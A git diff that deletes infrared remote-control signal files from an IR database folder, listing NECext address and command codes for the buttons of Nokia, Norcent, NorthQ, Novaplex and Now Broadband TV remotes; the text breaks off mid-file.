a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir deleted file mode 100644 index 22ffabdcb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: VT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8C 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 98 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir deleted file mode 100644 index 9a733d4ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 09 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 0C 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 0E 00 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 0F 00 00 00 -# -name: Volume+ -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 16 00 00 00 -# -name: Volume- -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 17 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 22 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 23 00 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 28 00 00 00 -# -name: Info -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2D 00 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2E 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2F 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 30 00 00 00 -# -name: Text -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 33 00 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 35 00 00 00 -# -name: Size -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 38 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3B 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3C 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3D 00 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3E 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3F 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 70 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 72 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir deleted file mode 100644 index a2ec12c87..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8C 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 98 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir deleted file mode 100644 index f60889b03..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 06 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 16 00 00 00 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 17 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 41 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 42 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 43 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 44 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 45 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 46 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 47 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 49 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 4C 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 4D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 4F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 50 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 51 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 53 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 59 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 5C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir deleted file mode 100644 index 6cdc29f5a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_0PLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: LR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: PRG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir deleted file mode 100644 index 148820d5f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Launch -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_L -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: Toggle -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: Printer -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir deleted file mode 100644 index 9d5d2c437..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 09 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0A 00 00 00 -# -name: ---> -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: BUY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir deleted file mode 100644 index 35e364d6c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 00 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 03 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 04 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 05 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 07 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 08 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 09 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 0A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 0E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 1D 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 1E 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 51 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 52 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 53 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 